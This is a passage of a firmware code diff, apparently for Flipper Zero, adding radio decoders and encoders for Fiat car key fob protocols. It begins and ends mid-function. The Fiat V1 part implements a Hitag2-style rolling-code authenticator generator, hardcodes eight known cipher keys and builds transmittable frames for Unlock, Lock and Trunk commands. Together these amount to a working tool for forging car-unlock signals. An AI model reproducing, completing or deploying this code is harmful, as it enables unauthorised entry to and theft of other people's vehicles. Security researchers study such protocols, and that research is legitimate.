instance->data_high = 0;
|
||||
}
|
||||
if(instance->bit_count == 0x47) {
|
||||
instance->endbyte = (uint8_t)(instance->data_low & 0x3F);
|
||||
fiat_v0_finish_packet(instance);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if(instance->bit_count == 0x47) {
|
||||
instance->endbyte = (uint8_t)(instance->data_low & 0x3F);
|
||||
fiat_v0_finish_packet(instance);
|
||||
} else if(instance->bit_count < 64) {
|
||||
instance->decoder.parser_step = FiatV0DecoderStepReset;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_fiat_v0_get_hash_data(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV0* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v0_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV0* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
return ret;
|
||||
}
|
||||
|
||||
uint32_t serial = instance->fix;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Serial", &serial, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
uint32_t btn = instance->endbyte;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Btn", &btn, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
uint32_t cnt = instance->hop;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Cnt", &cnt, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
uint32_t endbyte_ff = instance->endbyte;
|
||||
if(!flipper_format_write_uint32(flipper_format, "EndByte", &endbyte_ff, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV0* instance = context;
|
||||
|
||||
SubGhzProtocolStatus status = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_fiat_v0_const.min_count_bit_for_found);
|
||||
if(status != SubGhzProtocolStatusOk) {
|
||||
return status;
|
||||
}
|
||||
|
||||
instance->hop = (uint32_t)(instance->generic.data >> 32U);
|
||||
instance->fix = (uint32_t)(instance->generic.data & 0xFFFFFFFFU);
|
||||
instance->decoder.decode_data = instance->generic.data;
|
||||
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
|
||||
|
||||
uint32_t endbyte_u32 = 0U;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "EndByte", &endbyte_u32, 1)) {
|
||||
instance->endbyte = (uint8_t)(endbyte_u32 & 0x7FU);
|
||||
} else {
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t btn = 0;
|
||||
flipper_format_read_uint32(flipper_format, "Btn", &btn, 1);
|
||||
instance->endbyte = (uint8_t)(btn & 0x7FU);
|
||||
}
|
||||
|
||||
instance->generic.serial = instance->fix;
|
||||
instance->generic.btn = instance->endbyte;
|
||||
instance->generic.cnt = instance->hop;
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v0_get_string(void* context, FuriString* output) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV0* instance = context;
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%08lX%08lX\r\n"
|
||||
"Hop:%08lX\r\n"
|
||||
"Sn:%08lX\r\n"
|
||||
"EndByte:%02X\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
instance->hop,
|
||||
instance->fix,
|
||||
instance->hop,
|
||||
instance->fix,
|
||||
instance->endbyte & 0x3F);
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
#pragma once
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define FIAT_PROTOCOL_V0_NAME "Fiat V0"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderFiatV0 SubGhzProtocolDecoderFiatV0;
|
||||
typedef struct SubGhzProtocolEncoderFiatV0 SubGhzProtocolEncoderFiatV0;
|
||||
|
||||
extern const SubGhzProtocol fiat_protocol_v0;
|
||||
|
||||
// Decoder functions
|
||||
void* subghz_protocol_decoder_fiat_v0_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_fiat_v0_reset(void* context);
|
||||
void subghz_protocol_decoder_fiat_v0_feed(void* context, bool level, uint32_t duration);
|
||||
uint8_t subghz_protocol_decoder_fiat_v0_get_hash_data(void* context);
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v0_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_decoder_fiat_v0_get_string(void* context, FuriString* output);
|
||||
|
||||
// Encoder functions
|
||||
void* subghz_protocol_encoder_fiat_v0_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_fiat_v0_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_encoder_fiat_v0_stop(void* context);
|
||||
LevelDuration subghz_protocol_encoder_fiat_v0_yield(void* context);
|
||||
@@ -0,0 +1,968 @@
|
||||
#include "fiat_v1.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "FiatProtocolV1"
|
||||
|
||||
#define FIAT_V1_TE_SHORT 250U
|
||||
#define FIAT_V1_TE_LONG 500U
|
||||
#define FIAT_V1_TE_DELTA 100U
|
||||
#define FIAT_V1_TE_B_SHORT 100U
|
||||
#define FIAT_V1_TE_B_LONG 200U
|
||||
#define FIAT_V1_TE_B_DELTA 50U
|
||||
#define FIAT_V1_WIRE_BITS 104U
|
||||
#define FIAT_V1_WIRE_BYTES 13U
|
||||
#define FIAT_V1_WIRE_CELLS (FIAT_V1_WIRE_BITS * 2U)
|
||||
#define FIAT_V1_LOGICAL_BITS 102U
|
||||
#define FIAT_V1_VARIANT_COUNT 2U
|
||||
#define FIAT_V1_BOUNDARY_MIN_US 800U
|
||||
#define FIAT_V1_DEFAULT_TAIL_BITS 2U
|
||||
#define FIAT_V1_RAW_FIELD "Raw"
|
||||
#define FIAT_V1_HOP_FIELD "Hop"
|
||||
#define FIAT_V1_TAIL_BITS_FIELD "Tail Bits"
|
||||
#define FIAT_V1_XOR_FIELD "XOR"
|
||||
#define FIAT_V1_HITAG2_KEY_FIELD "Hitag2 Key"
|
||||
#define FIAT_V1_HITAG2_EPOCH_FIELD "Hitag2 Epoch"
|
||||
#define FIAT_V1_KNOWN_KEY_COUNT 8U
|
||||
|
||||
#define FIAT_V1_ENC_LEAD_US 2033U
|
||||
#define FIAT_V1_ENC_GAP_US 3252U
|
||||
#define FIAT_V1_ENC_DEFAULT_REPEAT 6U
|
||||
#define FIAT_V1_UPLOAD_CAPACITY 240U
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_fiat_v1_const = {
|
||||
.te_short = FIAT_V1_TE_SHORT,
|
||||
.te_long = FIAT_V1_TE_LONG,
|
||||
.te_delta = FIAT_V1_TE_DELTA,
|
||||
.min_count_bit_for_found = FIAT_V1_LOGICAL_BITS,
|
||||
};
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_fiat_v1_const_b = {
|
||||
.te_short = FIAT_V1_TE_B_SHORT,
|
||||
.te_long = FIAT_V1_TE_B_LONG,
|
||||
.te_delta = FIAT_V1_TE_B_DELTA,
|
||||
.min_count_bit_for_found = FIAT_V1_LOGICAL_BITS,
|
||||
};
|
||||
|
||||
static const SubGhzBlockConst* fiat_v1_variant_const(uint8_t variant) {
|
||||
return (variant == 0U) ? &subghz_protocol_fiat_v1_const : &subghz_protocol_fiat_v1_const_b;
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
FiatV1DecoderStepReset = 0,
|
||||
FiatV1DecoderStepData = 1,
|
||||
} FiatV1DecoderStep;
|
||||
|
||||
struct SubGhzProtocolDecoderFiatV1 {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint8_t cells[FIAT_V1_VARIANT_COUNT][FIAT_V1_WIRE_CELLS];
|
||||
uint16_t cell_count[FIAT_V1_VARIANT_COUNT];
|
||||
|
||||
uint8_t raw_data[FIAT_V1_WIRE_BYTES];
|
||||
uint8_t last_raw_data[FIAT_V1_WIRE_BYTES];
|
||||
bool last_raw_valid;
|
||||
|
||||
uint32_t uid;
|
||||
uint32_t hop;
|
||||
uint8_t family;
|
||||
uint8_t tail_bits;
|
||||
uint8_t frame_xor;
|
||||
|
||||
uint8_t hitag2_key[6];
|
||||
uint32_t hitag2_epoch;
|
||||
bool hitag2_key_valid;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderFiatV1 {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint8_t raw_data[FIAT_V1_WIRE_BYTES];
|
||||
uint8_t hitag2_key[6];
|
||||
uint32_t epoch;
|
||||
uint32_t hop;
|
||||
uint8_t tail_bits;
|
||||
uint8_t frame_xor;
|
||||
};
|
||||
|
||||
static bool fiat_v1_feed_data_pulse(
|
||||
SubGhzProtocolDecoderFiatV1* instance,
|
||||
bool level,
|
||||
uint32_t duration);
|
||||
static bool fiat_v1_frame_valid(const uint8_t raw[FIAT_V1_WIRE_BYTES]);
|
||||
static void fiat_v1_build_raw(
|
||||
uint8_t raw[FIAT_V1_WIRE_BYTES],
|
||||
uint32_t uid,
|
||||
uint8_t button,
|
||||
uint16_t control,
|
||||
uint32_t auth,
|
||||
uint8_t tail_bits);
|
||||
static void fiat_v1_verify_hitag2_key(SubGhzProtocolDecoderFiatV1* instance);
|
||||
|
||||
static void subghz_protocol_decoder_fiat_v1_free(void* context) {
|
||||
furi_assert(context);
|
||||
free(context);
|
||||
}
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_fiat_v1_decoder = {
|
||||
.alloc = subghz_protocol_decoder_fiat_v1_alloc,
|
||||
.free = subghz_protocol_decoder_fiat_v1_free,
|
||||
.feed = subghz_protocol_decoder_fiat_v1_feed,
|
||||
.reset = subghz_protocol_decoder_fiat_v1_reset,
|
||||
.get_hash_data = subghz_protocol_decoder_fiat_v1_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_fiat_v1_serialize,
|
||||
.deserialize = subghz_protocol_decoder_fiat_v1_deserialize,
|
||||
.get_string = subghz_protocol_decoder_fiat_v1_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_fiat_v1_encoder = {
|
||||
.alloc = subghz_protocol_encoder_fiat_v1_alloc,
|
||||
.free = subghz_protocol_encoder_fiat_v1_free,
|
||||
.deserialize = subghz_protocol_encoder_fiat_v1_deserialize,
|
||||
.stop = subghz_protocol_encoder_fiat_v1_stop,
|
||||
.yield = subghz_protocol_encoder_fiat_v1_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol fiat_v1_protocol = {
|
||||
.name = FIAT_V1_PROTOCOL_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
.decoder = &subghz_protocol_fiat_v1_decoder,
|
||||
.encoder = &subghz_protocol_fiat_v1_encoder,
|
||||
};
|
||||
|
||||
static bool fiat_v1_duration_is_short(uint8_t variant, uint32_t duration) {
|
||||
const SubGhzBlockConst* c = fiat_v1_variant_const(variant);
|
||||
return DURATION_DIFF(duration, c->te_short) < c->te_delta;
|
||||
}
|
||||
|
||||
static bool fiat_v1_duration_is_long(uint8_t variant, uint32_t duration) {
|
||||
const SubGhzBlockConst* c = fiat_v1_variant_const(variant);
|
||||
return DURATION_DIFF(duration, c->te_long) < c->te_delta;
|
||||
}
|
||||
|
||||
static bool fiat_v1_duration_is_pulse(uint32_t duration) {
|
||||
for(uint8_t variant = 0U; variant < FIAT_V1_VARIANT_COUNT; variant++) {
|
||||
if(fiat_v1_duration_is_short(variant, duration) ||
|
||||
fiat_v1_duration_is_long(variant, duration)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool fiat_v1_button_valid(uint8_t button) {
|
||||
return button == 0x1U || button == 0x2U || button == 0x4U || button == 0x8U;
|
||||
}
|
||||
|
||||
static const char* fiat_v1_button_name(uint8_t button) {
|
||||
switch(button) {
|
||||
case 0x8U:
|
||||
return "Unlock";
|
||||
case 0x4U:
|
||||
return "Lock";
|
||||
case 0x2U:
|
||||
return "Trunk";
|
||||
case 0x1U:
|
||||
return "Close";
|
||||
default:
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_frame_xor(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
|
||||
uint8_t value = 0x01U;
|
||||
for(uint8_t i = 0U; i < FIAT_V1_WIRE_BYTES - 1U; i++) {
|
||||
value ^= raw[i];
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static void fiat_v1_build_raw(
|
||||
uint8_t raw[FIAT_V1_WIRE_BYTES],
|
||||
uint32_t uid,
|
||||
uint8_t button,
|
||||
uint16_t control,
|
||||
uint32_t auth,
|
||||
uint8_t tail_bits) {
|
||||
memset(raw, 0, FIAT_V1_WIRE_BYTES);
|
||||
raw[1] = 0x01U;
|
||||
raw[2] = (uint8_t)(uid >> 24U);
|
||||
raw[3] = (uint8_t)(uid >> 16U);
|
||||
raw[4] = (uint8_t)(uid >> 8U);
|
||||
raw[5] = (uint8_t)uid;
|
||||
raw[6] = (uint8_t)(((button & 0x0FU) << 4U) | ((control >> 6U) & 0x0FU));
|
||||
raw[7] = (uint8_t)(((control & 0x3FU) << 2U) | ((auth >> 30U) & 0x03U));
|
||||
raw[8] = (uint8_t)(auth >> 22U);
|
||||
raw[9] = (uint8_t)(auth >> 14U);
|
||||
raw[10] = (uint8_t)(auth >> 6U);
|
||||
raw[11] = (uint8_t)((auth << 2U) | (tail_bits & 0x03U));
|
||||
raw[12] = fiat_v1_frame_xor(raw);
|
||||
}
|
||||
|
||||
static uint32_t fiat_v1_uid(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
|
||||
return ((uint32_t)raw[2] << 24U) | ((uint32_t)raw[3] << 16U) |
|
||||
((uint32_t)raw[4] << 8U) | raw[5];
|
||||
}
|
||||
|
||||
static uint32_t fiat_v1_counter(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
|
||||
return ((uint32_t)(raw[6] & 0x0FU) << 6U) | (raw[7] >> 2U);
|
||||
}
|
||||
|
||||
static uint32_t fiat_v1_hop(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
|
||||
return ((uint32_t)(raw[7] & 0x03U) << 30U) | ((uint32_t)raw[8] << 22U) |
|
||||
((uint32_t)raw[9] << 14U) | ((uint32_t)raw[10] << 6U) | (raw[11] >> 2U);
|
||||
}
|
||||
|
||||
static bool fiat_v1_frame_valid(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
|
||||
if(raw[0] != 0x00U || raw[1] != 0x01U) {
|
||||
return false;
|
||||
}
|
||||
if(fiat_v1_frame_xor(raw) != raw[12]) {
|
||||
return false;
|
||||
}
|
||||
if(!fiat_v1_button_valid(raw[6] >> 4U)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const uint32_t uid = fiat_v1_uid(raw);
|
||||
return uid != 0U && uid != UINT32_MAX;
|
||||
}
|
||||
|
||||
static void fiat_v1_clear_cells(SubGhzProtocolDecoderFiatV1* instance, uint8_t variant) {
|
||||
instance->cell_count[variant] = 0U;
|
||||
memset(instance->cells[variant], 0, FIAT_V1_WIRE_CELLS);
|
||||
}
|
||||
|
||||
static void fiat_v1_clear_all_cells(SubGhzProtocolDecoderFiatV1* instance) {
|
||||
for(uint8_t variant = 0U; variant < FIAT_V1_VARIANT_COUNT; variant++) {
|
||||
fiat_v1_clear_cells(instance, variant);
|
||||
}
|
||||
}
|
||||
|
||||
static void fiat_v1_decode_fields(SubGhzProtocolDecoderFiatV1* instance) {
|
||||
instance->family = instance->raw_data[1];
|
||||
instance->uid = fiat_v1_uid(instance->raw_data);
|
||||
instance->generic.serial = instance->uid;
|
||||
instance->generic.btn = instance->raw_data[6] >> 4U;
|
||||
instance->generic.cnt = fiat_v1_counter(instance->raw_data);
|
||||
instance->hop = fiat_v1_hop(instance->raw_data);
|
||||
instance->tail_bits = instance->raw_data[11] & 0x03U;
|
||||
instance->frame_xor = instance->raw_data[12];
|
||||
instance->generic.data = ((uint64_t)instance->generic.serial << 32U) | instance->hop;
|
||||
instance->generic.data_count_bit = FIAT_V1_LOGICAL_BITS;
|
||||
instance->decoder.decode_data = instance->generic.data;
|
||||
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
|
||||
fiat_v1_verify_hitag2_key(instance);
|
||||
}
|
||||
|
||||
static bool fiat_v1_commit(
|
||||
SubGhzProtocolDecoderFiatV1* instance,
|
||||
const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
|
||||
if(!fiat_v1_frame_valid(raw)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if(instance->last_raw_valid && memcmp(instance->last_raw_data, raw, FIAT_V1_WIRE_BYTES) == 0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
memcpy(instance->raw_data, raw, FIAT_V1_WIRE_BYTES);
|
||||
memcpy(instance->last_raw_data, raw, FIAT_V1_WIRE_BYTES);
|
||||
instance->last_raw_valid = true;
|
||||
fiat_v1_decode_fields(instance);
|
||||
|
||||
FURI_LOG_D(
|
||||
TAG,
|
||||
"Accepted UID:%08lX Btn:%02X Cnt:%03lX Auth:%08lX XOR:%02X",
|
||||
(unsigned long)instance->uid,
|
||||
instance->generic.btn,
|
||||
(unsigned long)instance->generic.cnt,
|
||||
(unsigned long)instance->hop,
|
||||
instance->frame_xor);
|
||||
|
||||
if(instance->base.callback) {
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool
|
||||
fiat_v1_try_decode_window(SubGhzProtocolDecoderFiatV1* instance, uint8_t variant, bool invert) {
|
||||
if(instance->cell_count[variant] != FIAT_V1_WIRE_CELLS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const uint8_t* cells = instance->cells[variant];
|
||||
uint8_t raw[FIAT_V1_WIRE_BYTES] = {0};
|
||||
for(uint8_t bit_index = 0U; bit_index < FIAT_V1_WIRE_BITS; bit_index++) {
|
||||
const uint8_t first = cells[bit_index * 2U];
|
||||
const uint8_t second = cells[bit_index * 2U + 1U];
|
||||
if(first == second) {
|
||||
return false;
|
||||
}
|
||||
|
||||
bool bit = first != 0U;
|
||||
if(invert) {
|
||||
bit = !bit;
|
||||
}
|
||||
if(bit) {
|
||||
raw[bit_index >> 3U] |= (uint8_t)(1U << (7U - (bit_index & 7U)));
|
||||
}
|
||||
}
|
||||
|
||||
return fiat_v1_commit(instance, raw);
|
||||
}
|
||||
|
||||
static void fiat_v1_try_decode(SubGhzProtocolDecoderFiatV1* instance, uint8_t variant) {
|
||||
if(fiat_v1_try_decode_window(instance, variant, false)) {
|
||||
return;
|
||||
}
|
||||
(void)fiat_v1_try_decode_window(instance, variant, true);
|
||||
}
|
||||
|
||||
static void
|
||||
fiat_v1_push_cell(SubGhzProtocolDecoderFiatV1* instance, uint8_t variant, bool level) {
|
||||
uint8_t* cells = instance->cells[variant];
|
||||
if(instance->cell_count[variant] < FIAT_V1_WIRE_CELLS) {
|
||||
cells[instance->cell_count[variant]++] = level ? 1U : 0U;
|
||||
} else {
|
||||
memmove(cells, &cells[1], FIAT_V1_WIRE_CELLS - 1U);
|
||||
cells[FIAT_V1_WIRE_CELLS - 1U] = level ? 1U : 0U;
|
||||
}
|
||||
fiat_v1_try_decode(instance, variant);
|
||||
}
|
||||
|
||||
static bool fiat_v1_feed_data_pulse(
|
||||
SubGhzProtocolDecoderFiatV1* instance,
|
||||
bool level,
|
||||
uint32_t duration) {
|
||||
bool matched = false;
|
||||
|
||||
for(uint8_t variant = 0U; variant < FIAT_V1_VARIANT_COUNT; variant++) {
|
||||
if(fiat_v1_duration_is_short(variant, duration)) {
|
||||
fiat_v1_push_cell(instance, variant, level);
|
||||
matched = true;
|
||||
} else if(fiat_v1_duration_is_long(variant, duration)) {
|
||||
fiat_v1_push_cell(instance, variant, level);
|
||||
fiat_v1_push_cell(instance, variant, level);
|
||||
matched = true;
|
||||
} else {
|
||||
if(!level && duration >= FIAT_V1_BOUNDARY_MIN_US) {
|
||||
fiat_v1_push_cell(instance, variant, false);
|
||||
}
|
||||
fiat_v1_clear_cells(instance, variant);
|
||||
}
|
||||
}
|
||||
|
||||
return matched;
|
||||
}
|
||||
|
||||
static void fiat_v1_rebuild_raw(SubGhzProtocolDecoderFiatV1* instance) {
|
||||
fiat_v1_build_raw(
|
||||
instance->raw_data,
|
||||
instance->generic.serial,
|
||||
instance->generic.btn,
|
||||
(uint16_t)(instance->generic.cnt & 0x03FFU),
|
||||
instance->hop,
|
||||
instance->tail_bits);
|
||||
if(instance->family && instance->family != 0x01U) {
|
||||
instance->raw_data[1] = instance->family;
|
||||
instance->raw_data[12] = fiat_v1_frame_xor(instance->raw_data);
|
||||
}
|
||||
if(instance->frame_xor) {
|
||||
instance->raw_data[12] = instance->frame_xor;
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_truth(uint32_t table, uint8_t index) {
|
||||
return (uint8_t)((table >> index) & 1U);
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_filter_index(uint8_t a, uint8_t b, uint8_t c, uint8_t d) {
|
||||
return (uint8_t)((a << 3U) | (b << 2U) | (c << 1U) | d);
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_byte_bit(uint8_t byte, uint8_t bit) {
|
||||
return (uint8_t)((byte >> bit) & 1U);
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_bcm_hitag2_filter(const uint8_t state[6]) {
|
||||
uint8_t group = 0U;
|
||||
group |= fiat_v1_truth(
|
||||
0x2c79U,
|
||||
fiat_v1_filter_index(
|
||||
fiat_v1_byte_bit(state[0], 1U),
|
||||
fiat_v1_byte_bit(state[0], 2U),
|
||||
fiat_v1_byte_bit(state[0], 4U),
|
||||
fiat_v1_byte_bit(state[0], 5U)));
|
||||
group |= (uint8_t)(fiat_v1_truth(
|
||||
0x6671U,
|
||||
fiat_v1_filter_index(
|
||||
fiat_v1_byte_bit(state[1], 0U),
|
||||
fiat_v1_byte_bit(state[1], 1U),
|
||||
fiat_v1_byte_bit(state[1], 3U),
|
||||
fiat_v1_byte_bit(state[1], 7U)))
|
||||
<< 1U);
|
||||
group |= (uint8_t)(fiat_v1_truth(
|
||||
0x6671U,
|
||||
fiat_v1_filter_index(
|
||||
fiat_v1_byte_bit(state[3], 5U),
|
||||
fiat_v1_byte_bit(state[2], 0U),
|
||||
fiat_v1_byte_bit(state[2], 2U),
|
||||
fiat_v1_byte_bit(state[2], 6U)))
|
||||
<< 2U);
|
||||
group |= (uint8_t)(fiat_v1_truth(
|
||||
0x6671U,
|
||||
fiat_v1_filter_index(
|
||||
fiat_v1_byte_bit(state[4], 6U),
|
||||
fiat_v1_byte_bit(state[3], 0U),
|
||||
fiat_v1_byte_bit(state[3], 2U),
|
||||
fiat_v1_byte_bit(state[3], 3U)))
|
||||
<< 3U);
|
||||
group |= (uint8_t)(fiat_v1_truth(
|
||||
0x2c79U,
|
||||
fiat_v1_filter_index(
|
||||
fiat_v1_byte_bit(state[5], 1U),
|
||||
fiat_v1_byte_bit(state[5], 3U),
|
||||
fiat_v1_byte_bit(state[5], 4U),
|
||||
fiat_v1_byte_bit(state[4], 5U)))
|
||||
<< 4U);
|
||||
return fiat_v1_truth(0x7907287bUL, group);
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_parity8(uint8_t value) {
|
||||
value ^= (uint8_t)(value >> 4U);
|
||||
value ^= (uint8_t)(value >> 2U);
|
||||
value ^= (uint8_t)(value >> 1U);
|
||||
return value & 1U;
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_bcm_hitag2_feedback(const uint8_t state[6]) {
|
||||
static const uint8_t masks[6] = {0xb3U, 0x80U, 0x83U, 0x22U, 0x00U, 0x73U};
|
||||
uint8_t feedback = 0U;
|
||||
for(uint8_t i = 0U; i < 6U; i++) {
|
||||
feedback ^= fiat_v1_parity8((uint8_t)(state[i] & masks[i]));
|
||||
}
|
||||
return feedback & 1U;
|
||||
}
|
||||
|
||||
static void fiat_v1_bcm_hitag2_shift(uint8_t state[6], uint8_t input) {
|
||||
for(uint8_t i = 0U; i < 5U; i++) {
|
||||
state[i] = (uint8_t)((state[i] << 1U) | (state[i + 1U] >> 7U));
|
||||
}
|
||||
state[5] = (uint8_t)((state[5] << 1U) | (input & 1U));
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_input_bit_u32_be(uint32_t value, uint8_t index) {
|
||||
return (uint8_t)((value >> (31U - index)) & 1U);
|
||||
}
|
||||
|
||||
static uint8_t fiat_v1_input_bit_bytes_be(const uint8_t* bytes, uint8_t index) {
|
||||
return (uint8_t)((bytes[index >> 3U] >> (7U - (index & 7U))) & 1U);
|
||||
}
|
||||
|
||||
static uint32_t fiat_v1_bcm_generate_authenticator(
|
||||
uint32_t uid,
|
||||
uint8_t button,
|
||||
uint16_t control,
|
||||
const uint8_t key[6],
|
||||
uint32_t epoch) {
|
||||
uint8_t state[6] = {
|
||||
(uint8_t)(uid >> 24U),
|
||||
(uint8_t)(uid >> 16U),
|
||||
(uint8_t)(uid >> 8U),
|
||||
(uint8_t)uid,
|
||||
key[4],
|
||||
key[5],
|
||||
};
|
||||
|
||||
const uint32_t iv =
|
||||
((epoch & 0x3FFFFUL) << 14U) | (((uint32_t)control & 0x03FFUL) << 4U) |
|
||||
((uint32_t)button & 0x0FUL);
|
||||
|
||||
for(uint8_t i = 0U; i < 32U; i++) {
|
||||
const uint8_t input = fiat_v1_input_bit_u32_be(iv, i) ^
|
||||
fiat_v1_input_bit_bytes_be(key, i) ^
|
||||
fiat_v1_bcm_hitag2_filter(state);
|
||||
fiat_v1_bcm_hitag2_shift(state, input);
|
||||
}
|
||||
|
||||
uint32_t authenticator = 0U;
|
||||
for(uint8_t i = 0U; i < 32U; i++) {
|
||||
authenticator = (authenticator << 1U) | fiat_v1_bcm_hitag2_filter(state);
|
||||
fiat_v1_bcm_hitag2_shift(state, fiat_v1_bcm_hitag2_feedback(state));
|
||||
}
|
||||
return authenticator;
|
||||
}
|
||||
|
||||
static const uint8_t fiat_v1_known_keys[FIAT_V1_KNOWN_KEY_COUNT][6] = {
|
||||
{0xB7U, 0x92U, 0x80U, 0xAEU, 0xCCU, 0x37U},
|
||||
{0xD4U, 0x24U, 0x28U, 0xF7U, 0xD9U, 0x66U},
|
||||
{0x4DU, 0x34U, 0x3FU, 0xD4U, 0xE7U, 0xB6U},
|
||||
{0x6DU, 0x6BU, 0xF2U, 0x1DU, 0x3AU, 0x1AU},
|
||||
{0xA3U, 0xF3U, 0xACU, 0xF7U, 0xB9U, 0x10U},
|
||||
{0x4DU, 0x49U, 0x4BU, 0x52U, 0x4FU, 0x4EU},
|
||||
{0xCDU, 0x49U, 0x4BU, 0x52U, 0x4FU, 0x4EU},
|
||||
{0x33U, 0xFAU, 0x2FU, 0xCDU, 0xC3U, 0x3BU},
|
||||
};
|
||||
|
||||
static bool fiat_v1_key_matches(
|
||||
uint32_t uid,
|
||||
uint8_t button,
|
||||
uint16_t control,
|
||||
uint32_t hop,
|
||||
const uint8_t key[6],
|
||||
uint32_t epoch) {
|
||||
return fiat_v1_bcm_generate_authenticator(uid, button, control, key, epoch) == hop;
|
||||
}
|
||||
|
||||
static void fiat_v1_verify_hitag2_key(SubGhzProtocolDecoderFiatV1* instance) {
|
